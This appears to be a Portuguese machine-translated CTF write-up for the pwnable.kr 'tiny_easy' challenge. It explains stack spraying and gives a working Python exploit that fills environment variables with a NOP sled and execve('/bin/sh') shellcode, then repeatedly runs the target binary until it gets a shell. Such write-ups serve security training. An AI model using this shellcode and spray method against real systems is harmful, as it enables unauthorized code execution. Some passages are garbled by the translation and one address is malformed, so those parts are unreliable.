Solução de problemas com pwnable.kr 27 - tiny_easy. Entendendo a pulverização em pilha

imagem

Neste artigo, resolveremos a 27ª tarefa do site pwnable.kr e entenderemos o que é a pulverização Stack.

Informações Organizacionais
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Solução para o trabalho tiny_easy


Clique no ícone de assinatura tyni_easy. Nos é dado o endereço e a porta para conectar via ssh.

imagem

Estamos conectados via SSH e já vemos a bandeira e o programa sem o código fonte.

imagem

Como resultado da verificação do arquivo, descobrimos que ele não tem proteção.

imagem

Faça o download do programa para o desmontador. O arquivo é muito pequeno e segue apenas algumas instruções.

imagem

No início, o programa extrai o valor da pilha no registro EAX, após o qual extrai outro no EDX e transfere o controle para esse endereço. Mas o que está localizado na pilha no início do programa? Na pilha, neste momento, tenho o mesmo argc (o número de argumentos do programa), argv (um ponteiro para uma matriz de argumentos do programa) e envp (um ponteiro para uma matriz de variáveis ​​de ambiente).

imagem

Assim, no EDX, o endereço será colocado no primeiro elemento da matriz de argumentos do programa, ou seja, no caminho completo para o arquivo executável! Portanto, tentando executá-lo como um código, o aplicativo deve falhar. Se você verificar, então acontece.

imagem

A pulverização de pilha é um ataque que usa erros na memória do aplicativo, o que força o aplicativo a alocar memória para um grande número de objetos que contêm código malicioso. Isso aumenta a probabilidade de sucesso de uma exploração, que transfere o fluxo de execução para alguma posição interna. É importante entender que, sem uma exploração que permita alterar o fluxo de execução, esse ataque não causará nenhum dano. O ataque é baseado na previsibilidade do endereço no espaço de endereço do processo.

Ao criar um processo no sistema operacional, um espaço de endereço é alocado para suas necessidades, no qual estão localizados dados do usuário, código executável e algumas informações do sistema, dependendo do sistema operacional específico. Portanto, no segmento de pilha, são armazenadas variáveis ​​com uma classe de posicionamento automática, além de informações armazenadas toda vez que a função é chamada, por exemplo, variáveis ​​estáticas e o endereço de retorno quando a função é chamada. No caso de pulverização em pilha, operamos em variáveis ​​de ambiente nas quais a exploração está localizada.

Dessa forma, podemos organizar o código do shell nas variáveis ​​de ambiente da pilha. Mas faremos muitas operações nop na frente dele, pois é improvável que consigamos chegar exatamente ao endereço certo.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


Como o programa inicia no endereço 0xff ******, usamos o endereço aleatório da pilha nesse ambiente, por exemplo, 0xffbbbbbbb.
addr = "\xb0\xaf\xb5\xff"


Agora, criaremos algumas variáveis ​​de ambiente com nosso código de shell, para que a probabilidade de chegar a ele seja maior.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

E várias vezes rodamos o programa com nossos parâmetros.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

Depois de executar o código completo, obtemos um shell.

imagem

Mais ainda ... Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar uns aos outros em qualquer problema de segurança da TI e da informação.

Source: https://habr.com/ru/post/undefined/


All Articles